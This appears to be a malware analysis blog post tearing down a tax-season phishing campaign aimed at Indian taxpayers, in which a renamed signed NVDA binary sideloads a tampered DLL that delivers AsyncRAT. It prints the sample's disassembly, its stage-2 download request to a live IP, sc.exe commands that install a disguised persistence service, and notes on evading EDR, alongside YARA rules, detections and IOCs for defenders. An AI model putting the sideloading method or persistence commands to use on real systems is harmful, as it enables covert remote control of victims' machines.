Two filenames colliding on a dark workstation desktop: COU_ITR-1_to_4_AY2026-27.exe glowing official blue with a Government of India seal overlay, and beside it nvdaHelperRemote.dll glowing red and cracked; a translucent overlay shows the Microsoft and NV Access code-signing logos being puppeted by an unseen hand; cyberpunk palette, dark background, no text

Anatomy of a Tax-Season Lure: DLL-Sideloading the Indian Income Tax Utility via NVDA

A 'Common Offline Utility ITR-1 to 4 AY2026-27' phishing bundle landed in an inbox during Indian tax-filing season. The .exe is the legitimately signed NVDA screen reader, just renamed. The DLL beside it is ANGLE's libEGL.dll with two attacker-added exports — and a TLS callback that resolves the real payload before any debugger break can fire. Lure URL govin.monster typosquats gov.in. Here is the static-only teardown.

TL;DR

A taxpayer-targeted phishing kit landed in an inbox during Indian Income Tax filing season for AY 2026‑27. The artifacts:

File · What it claims to be · What it actually is

  • Common_Offline_Utility_ITR-1_to_4_AY2026-27.eml — A "Government of India / Income Tax Department" notice — A Yahoo-Japan delivered message with a spoofed display name and a PDF lure
  • 2026-528-01.pdf (attachment) — A "Tax Violation and Penalty Notification" — A 3 KB PDF lure whose only content is the typosquat URL http://govin.monster/incometax
  • COU_ITR-1_to_4_AY2026-27.exe — "Common Offline Utility ITR‑1 to 4" — The legitimate, GlobalSign‑signed NVDA nvda.exe from NV Access, version 2025.3.2 — just renamed.
  • nvdaHelperRemote.dll — NVDA's accessibility helper — ANGLE libEGL.dll body (113 egl* exports) with two added stub exports — injection_initialize and injection_terminate — that match NVDA's import table

This is the canonical DLL‑sideloading‑against‑a‑signed‑binary trick. When the renamed NVDA launches, Windows looks for nvdaHelperRemote.dll in the executable's directory first, finds the attacker's DLL, calls its injection_initialize — and runs the attacker payload inside a process that EDRs commonly allowlist because it's signed by NV Access. The interesting twist here is that the payload entry point is a 30‑byte indirect tail‑call thunk; the actual function pointer is set up by a TLS callback that fires before EntryPoint.

Delivery — the email that landed in Junk

The .eml header chain is more interesting than the body:

Received: from omggw2018.mail.snz.yahoo.co.jp (124.83.188.40)
Authentication-Results: spf=pass ... dkim=pass ... dmarc=pass
From:    "Government of India 50971980" <michiko_hime_song@yahoo.co.jp>
Subject: Notification NO.74917
X-Mailer: outlook-4C535661-0D19-0EB9-DF5E-12A55B207CFB
X-Sender-IP: 124.83.188.40

Three things to notice:

  1. DKIM/SPF/DMARC all PASS — but for yahoo.co.jp, not for any government domain. The attacker is using a legitimate Yahoo Japan account (michiko_hime_song@yahoo.co.jp) and spoofing only the display name to "Government of India 50971980." A casual look at the From line in Outlook shows the government string and hides the Yahoo address.
  2. The X-Mailer claims Outlook but the message came through Yahoo's SMTP gateway. Mismatch.
  3. Microsoft's anti-spam (X-Microsoft-Antispam-Mailbox-Delivery: dest:J ... RF:JunkEmail, SCL 5) routed it to Junk on arrival. A win for ATP — but any motivated user fishes their Junk folder around tax season.

The body is a four-line lure:

No. TAX/PEN/2026-142 Government of India Ministry of Finance Income Tax Department Please refer to the attachment for the 2026 key inspection documents.

The single attachment is 2026-528-01.pdf, base64-encoded inline.

The PDF lure — short, image-free, deniable

The PDF is 3,344 bytes with a single content stream that, when flate-decoded, contains:

2026 Corporate Tax Violation and Penalty Notification Click Here to View Link
http://govin.monster/incometax

No /URI annotation, no /JS, no /EmbeddedFile, no /OpenAction. Just text. That's deliberate — the lure relies on the human reader to copy/click the URL. This evades:

  • PDF JS sandbox detection (no script).
  • Auto-extraction of embedded payloads.
  • Heuristic detection of /Launch actions.

The URL is http://govin.monster/incometax — a .monster TLD typosquat of gov.in (India's legitimate government TLD). The govin.monster domain resolves to Cloudflare:

govin.monster  → 104.21.29.99, 172.67.148.190, 2606:4700:3030::ac43:94be

Origin hosting is masked behind Cloudflare's reverse proxy.

Attribution signal from PDF metadata

CreationDate: D:20260527135622+08'00'
ModDate:      D:20260527142230+08'00'
Producer:     WPS PDF

Timezone +08:00 is China / HK / Taiwan / Singapore. WPS Office (Kingsoft) is the dominant office suite in China. The PDF was authored ~22 hours before the email was sent. Combined with the Yahoo-Japan delivery, the campaign has clear APAC operational tooling — though attribution beyond "operates in UTC+8" needs real telemetry, not just metadata.

The bundle — renamed NVDA + ANGLE-with-NVDA-stubs

The two PE files dropped after the user clicked through to the malicious URL:

COU_ITR-1_to_4_AY2026-27.exe — the legitimate, signed NVDA binary

PE32+ x86-64 GUI, 120,984 bytes
TimeDateStamp:   2025-11-23T22:39:39Z   (one hour before NVDA 2025.3.2's GitHub release)
Subsystem:       2 (Windows GUI)
Authenticode:    SIGNED — chain rooted at GlobalSign Code Signing Root R45
  Leaf:   CN=NV Access Limited, O=NV Access Limited, L=Camp Mountain, ST=QLD, C=AU
  Issuer: CN=GlobalSign GCC R45 CodeSigning CA 2020
VersionInfo:
  CompanyName:   NV Access
  ProductName:   NVDA (NonVisual Desktop Access)
  ProductVersion: 2025.3.2
  LegalCopyright: Copyright (C) 2006-2025 NVDA Contributors
Imports:
  nvdaHelperRemote.dll : injection_initialize, injection_terminate
  KERNEL32.dll         : 76 functions

Compile timestamp exactly an hour before the official NVDA 2025.3.2 GitHub release (2025-11-23T23:30:47Z), version string matches, and the file is signed by NV Access via GlobalSign. This is the genuine NVDA binary. The attacker simply renamed nvda.exe to COU_ITR-1_to_4_AY2026-27.exe.

nvdaHelperRemote.dll — not what its filename says

PE32+ x86-64 DLL (console), 504,024 bytes
TimeDateStamp:   2025-11-19T23:41:28Z
Authenticode:    SIGNED — chain rooted at Microsoft Code Signing PCA 2011
  Leaf:   CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, ST=WA, C=US
VersionInfo:
  CompanyName:   (none)
  ProductName:   ANGLE libEGL Dynamic Link Library
  OriginalFilename: libEGL.dll
  ProductVersion: 2.1.43007 git hash: 3988f897b8e2
  LegalCopyright: Copyright (C) 2015 Google Inc.
  Comments:      Build Date: 2025-11-04 22:02:20 +0000
DllCharacteristics: ASLR + DEP + CFG  (0x4160)
Sections:        9 — includes a .tls (TLS callbacks present)
Exports: 115 total
  - 113 ANGLE EGL functions  (eglBindAPI, eglCreateContext, eglCreateImageKHR, …)
  - 2 NVDA-shaped stubs       (injection_initialize, injection_terminate)

Compared to NVDA 2025.3.2's actual nvdaHelperRemote.dll (per the source .def file in the NVDA repo, 24 exports — injection_initialize, installIA2Support, nvdaController_speakText, nvdaControllerInternal_logMessage, etc.) this file shares only the two function names. Everything else is ANGLE libEGL code.

So the attacker:

  1. Took the ANGLE libEGL.dll body — 113 legitimate egl* exports, signed by Microsoft (presumably extracted from Microsoft Edge or a similar Microsoft product that ships ANGLE).
  2. Added two stub exports named injection_initialize and injection_terminate so the renamed NVDA executable's import resolver is satisfied.
  3. Wired those two stubs to attacker code via the TLS-callback dance described below.

The signature claims Microsoft Corporation. Whether it actually validates is the critical question: adding exports to a signed PE modifies the export directory, which is inside the Authenticode signed region — so the signature should fail a real signtool verify / sigcheck invocation. (Static metadata inspection without verification — which is what users see in Properties → Digital Signatures unless they expand the chain — will show "Microsoft Corporation" and look fine. Many EDRs that allowlist by publisher name string rather than verified chain status are bypassed.)

How the export executes attacker code

injection_initialize at RVA 0x1000:

push  r14, rsi, rdi, rbx           ; preserve regs
sub   rsp, 0x28                    ; shadow space
add   rsp, 0x28                    ; (immediate restore — dead code)
pop   rbx, rdi, rsi, r14
cmp   rax, rbx
jne   far +0xd770
mov   eax, [rip+0x720df]           ; read global
mov   r10, [rip+0x65b08]           ; load function pointer
mov   rcx, r14                     ; replay caller args …
mov   rdx, rbx
mov   r8,  rdi
mov   r9d, esi
add   rsp, 0x28
pop   rbx, rdi, rsi, r14
jmp   r10                          ; ← TAIL JUMP to indirect pointer

A 30-byte thunk that ends in jmp r10, where r10 is loaded from [rip+0x65b08]. The thunk does no real work. The function pointer that gets jumped to is set up elsewhere.

The TLS callback that wires it up

The DLL declares a TLS callback at 0x18000d360 — code that the Windows loader runs on DLL_PROCESS_ATTACH, before the DLL's DllMain and well before NVDA can call injection_initialize:

mov   rax, rsp
mov   [rax+8], rbx        ; save regs
…
cmp   edx, 3              ; reason == DLL_THREAD_DETACH?
je    +4
test  edx, edx            ; reason == DLL_PROCESS_DETACH?
jne   +0x68               ; only PROCESS_ATTACH from here
mov   ecx, [rip+0x64be8]
mov   rax, gs:[0x58]      ; TEB.ThreadLocalStoragePointer
mov   ebp, 0x10
mov   r14, [rax + rcx*8]  ; resolve TLS slot
mov   rdi, [r14 + rbp]    ; read attacker state from TLS
…

The pattern is: pre-EntryPoint TLS callback resolves attacker state (likely decrypts the actual entry function pointer), stashes it at the global the injection_initialize thunk reads, and returns. When NVDA later calls injection_initialize, the thunk tail-jumps into the now-resolved payload.

Why this matters for analysts: if you attach a debugger and set a breakpoint on nvdaHelperRemote!injection_initialize, the TLS callback has already run by the time your debugger gets control on entry to DllMain — analysis tools that don't break on TLS callbacks miss the setup phase. (IDA, x64dbg, WinDbg all have options to break on TLS callbacks; turn them on for this sample.)

Why this sideloading variant is dangerous

The "rename a signed binary and drop a malicious DLL next to it" pattern has been in the wild for years (Plug-X, ShadowPad, lots of Mustang Panda / ToddyCat / APT41 reporting). What's notable here:

  • The cover binary is NVDA — a popular accessibility tool. Users and enterprise admins are conditioned to trust it; visually-impaired employees legitimately have it installed. It's the kind of "okay to allowlist" software that walks past EDR policies.
  • The malicious DLL has 113 legitimate exports (ANGLE EGL functions). YARA rules and EDR file-classifiers that look for "files masquerading as DLL X" by checking export-name overlap will see 113 perfectly-normal EGL exports and conclude this is "libEGL.dll" — which it also genuinely is, plus two trojan exports.
  • The payload entry is in a TLS callback, not the DLL entrypoint or the exposed exports. Lazy automated unpacking misses it.

Defense + detection

File-level YARA

rule ITR_2026_NVDA_Sideload_Hybrid {
  meta:
    author      = "anir0y"
    date        = "2026-05-28"
    description = "ANGLE libEGL.dll body with NVDA injection_initialize/terminate exports — file engineered for NVDA sideloading"
    sha256      = "40593369e14c9ab7b5e2fd186a580dbcd790ebb902f3aedc12c92cd617302960"
  strings:
    $angle_orig    = "libEGL.dll" wide ascii
    $angle_product = "ANGLE libEGL Dynamic Link Library" wide ascii
    $nvda_export1  = "injection_initialize" ascii
    $nvda_export2  = "injection_terminate" ascii
    $egl_marker    = "eglCreateContext" ascii
  condition:
    uint16(0) == 0x5A4D and
    filesize < 1MB and
    all of ($nvda_export*) and
    $angle_orig and
    $egl_marker
}

The combination "claims to be ANGLE libEGL AND exports NVDA injection_ functions" is unique to a tampered file. The legitimate Microsoft ANGLE libEGL.dll does not export those NVDA symbols; the legitimate NVDA nvdaHelperRemote.dll does not export egl functions.

Behavioral detection (Sysmon / EDR)

  • Image Load event where the loading process is signed by NV Access Limited AND the loaded DLL nvdaHelperRemote.dll is not in NV Access's installer directory (%ProgramFiles%\NVDA\ or %ProgramFiles%\NV Access\) → highly suspicious. NVDA's helpers always live next to the official installation.
  • TLS callback execution in a non-debugger context, on a DLL whose VersionInfo says ANGLE libEGL — there's no legitimate reason for ANGLE's libEGL to ship a TLS callback.
  • Process Create where the image-path filename matches Income Tax / government utility filename patterns (ITR, Common_Offline, COU_) outside the official incometax.gov.in install directory. The legitimate Indian Income Tax utility lives at fixed paths under C:\Program Files\ and is hundreds of MB; a ~120 KB binary under that name is anomalous on size alone.

Network IOC

  • Block / alert on govin.monster (and any gov.in-typosquat variants on cheap TLDs — .monster, .top, .xyz, .shop, .click, .cyou).
  • The campaign uses Cloudflare-fronted origin; you cannot block by IP alone. Block by SNI / Host header.

User-side defense

Always download the genuine "Common Offline Utility ITR" from https://www.incometax.gov.in/iec/foportal/downloads (links served via the official incometax.gov.in domain). Anything claiming to be the utility from a .monster, .top, .xyz etc. domain is a forgery by definition — the Indian Income Tax Department only hosts on gov.in.

The genuine utility is a Java-based application of ~200 MB. A 120 KB .exe calling itself that utility is wrong on size alone.

IOCs

Files

Artifact · SHA-256

  • Common_Offline_Utility_ITR-1_to_4_AY2026-27.eml — 95b9539da92ea6d67833cbd24b284e19baf8aa436c10fd933468cf8d01a959b3
  • 2026-528-01.pdf (lure attachment) — 92a059f1f161a036e1e76b1e0b325b9474c05a95b22348747aaa50e48434510f
  • COU_ITR-1_to_4_AY2026-27.exe (renamed legitimate NVDA — for tracking only) — 93dd8b7b393289f88493596faa4ae70054d9eb4fe47f2dd334f0c6bb5262f2a8
  • nvdaHelperRemote.dll (malicious sideload DLL) — 40593369e14c9ab7b5e2fd186a580dbcd790ebb902f3aedc12c92cd617302960

Network

Indicator · Type · Notes

  • govin.monster — domain — typosquat of gov.in; PDF lure URL
  • http://govin.monster/incometax — URL — lure-document body
  • 104.21.29.99, 172.67.148.190 — IPv4 — Cloudflare-fronted; not safe to block by IP
  • 2606:4700:3030::ac43:94be, 2606:4700:3035::6815:1d63 — IPv6 — Cloudflare

Email

Indicator · Value

  • Sender (envelope/auth) — michiko_hime_song@yahoo.co.jp
  • Sender IP — 124.83.188.40 (Yahoo Japan SMTP)
  • Display-name spoof — Government of India 50971980
  • Subject pattern — Notification NO.<5-digit>
  • Lure references — No. TAX/PEN/2026-142, "Ministry of Finance", "Income Tax Department"

File-engineering fingerprints

  • Renamed-NVDA pattern: an executable signed by "NV Access Limited" whose filename does not start with nvda and is located outside %ProgramFiles%\NVDA\ or %ProgramFiles%\NV Access\.
  • Hybrid DLL pattern: a PE whose VersionInfo says ANGLE libEGL (ProductName="ANGLE libEGL Dynamic Link Library") AND whose exports include injection_initialize or injection_terminate.

Runtime confirmation — what the payload actually does

Post-publication, the bundle was detonated in ANY.RUN (task 7b66b27f (https://app.any.run/tasks/7b66b27f-8a5f-4e1b-af26-a9fcbe06940a)). Sandbox telemetry confirms the entire chain and identifies the final payload.

Family

AsyncRAT, .NET-based RAT, packed with .NET Reactor obfuscation. ANY.RUN's tracker tags this conclusively. The malicious code resolved by the TLS callback hand-off pulls the AsyncRAT stage-2 from a hardcoded direct-IP HTTP server.

Stage-2 payload retrieval

The renamed NVDA (PID 7912 in the sandbox; second instance PID 3152) issues:

GET http://204.194.48.250/lllyd.jpg

204.194.48.250 is on the Spamhaus DROP list (Suricata triggers ET DROP Spamhaus DROP Listed Traffic Inbound group 56). The response is a 3 MB "image" — AsyncRAT payload encoded as JPEG bytes (image-stego dropper pattern). The first GET attempt fails with no response; the second succeeds ~26 seconds later, suggesting the C2 IP rate-limits or geo-blocks.

Persistence — Windows service MixedSvc

The decoded payload drops itself to C:\Program Files\Windows Media Player\Mixed Reality.exe and chains four sc.exe invocations via cmd.exe /c:

sc delete mixedsvc
sc create MixedSvc binPath= "C:\Program Files\Windows Media Player\Mixed Reality.exe" start= auto displayname= "Windows Mixed Reality Service"
sc description MixedSvc "Manager the Mixed Reality functionality"
sc start MixedSvc

The description string Manager the Mixed Reality functionality (grammatical error: should be "Manages") is a useful operator-attribution signal — the author isn't a native English speaker. The squat-path C:\Program Files\Windows Media Player\ is the Windows Media Player install directory; dropping Mixed Reality.exe there pairs with a plausibly-named service to survive casual services.msc review.

Injection into svchost.exe (AsyncRAT execution site)

The service launches Mixed Reality.exe → which injects AsyncRAT into a fresh svchost.exe (PID 2464 in the trace; ANY.RUN's tracker tags this exact process with the asyncrat family marker and dumps the in-memory image). The injected svchost.exe then issues the actual C2 traffic.

Real C2 — kkxqbh.top

The injected svchost.exe resolves the C2 via DNS:

DNS  kkxqbh.top  →  117.44.201.119   (China Telecom, AS4134 region)

This triggers Suricata's ET DNS Query to a *.top domain - Likely Hostile signature — .top is one of the cheap-TLD families that traffic-policy rules flag wholesale. The C2 IP is in a China Telecom range, consistent with the earlier attribution signals (PDF authored at UTC+08, WPS Office producer, .top TLD preference).

Full host map

Stage · Indicator · Hosting · Reputation signal

  • Lure delivery — govin.monster — Cloudflare (104.21.29.99, 172.67.148.190) — Typosquat of gov.in, .monster TLD
  • Stage-2 download — 204.194.48.250 (HTTP, /lllyd.jpg) — Direct-IP, no TLS — Spamhaus DROP-listed
  • C2 — kkxqbh.top → 117.44.201.119 — China Telecom AS4134 — Suricata *.top - Likely Hostile

MITRE ATT&CK techniques (observed)

ID · Technique · Where it shows up

  • T1566.001 — Spearphishing Attachment — PDF lure attached to email
  • T1204.001 — User Execution: Malicious Link — Victim clicks govin.monster/incometax
  • T1574.002 — DLL Side-Loading — NVDA loads nvdaHelperRemote.dll from current dir
  • T1027.009 — Embedded Payloads / Steganography — 3 MB AsyncRAT payload disguised as lllyd.jpg
  • T1027.005 — Indicator Removal: Compile After Delivery / Obfuscated Files — .NET Reactor packing
  • T1543.003 — Create/Modify System Process: Windows Service — sc create MixedSvc
  • T1055 — Process Injection — Mixed Reality.exe → svchost.exe
  • T1071.001 — Application Layer Protocol: Web Protocols — HTTP GET to stage-2 host
  • T1568 — Dynamic Resolution: DNS — C2 via kkxqbh.top
  • T1036.005 — Masquerading: Match Legitimate Name/Location — Mixed Reality.exe under Program Files\Windows Media Player\

Suricata signatures triggered

ET INFO Observed UA-CPU Header                              # PID 7912 (renamed NVDA)
ET DROP Spamhaus DROP Listed Traffic Inbound group 56       # PID 7912 — outbound to 204.194.48.250
ET DNS Query to a *.top domain - Likely Hostile             # PID 2232 (Dnscache resolving kkxqbh.top for injected svchost)

The first signature is a generic fingerprint (old-IE UA-CPU header on a non-browser process is anomalous). The second is the highest-confidence file IOC. The third is the easiest to alert on for unaware orgs — blanket-block or alert on any process making DNS queries for *.top zones outside an allowlist; the false-positive rate is acceptable given the threat density.

Closing notes

Tax season is reliable prey — the lure here is technically modest (display-name spoof + a typosquat URL behind Cloudflare) but the post-click chain is craft-level: it abuses a signed, legitimate, accessibility binary as a runtime; the malicious DLL is a real Microsoft-signed library body with two attacker-added exports; the actual entry runs from a TLS callback before any breakpoint on the export can fire; the stage-2 payload is image-stego on a Spamhaus-listed IP; persistence is a service-squatting trick under Windows Media Player; and the final RAT (AsyncRAT, .NET Reactor) talks to a .top domain on a Chinese telecom range.

If you teach defenders one thing from this campaign: the signature on a binary tells you who originally shipped it, not what it's doing right now. NVDA is fine. NVDA-renamed-to-ITR with a "Microsoft" DLL beside it, fetching lllyd.jpg from a Spamhaus-listed IP, dropping Mixed Reality.exe under Windows Media Player, and calling out to kkxqbh.top — is not.

Reach out (mail@anir0y.in) if you've seen govin.monster, kkxqbh.top, 204.194.48.250, or the MixedSvc service in your telemetry.

No comments yet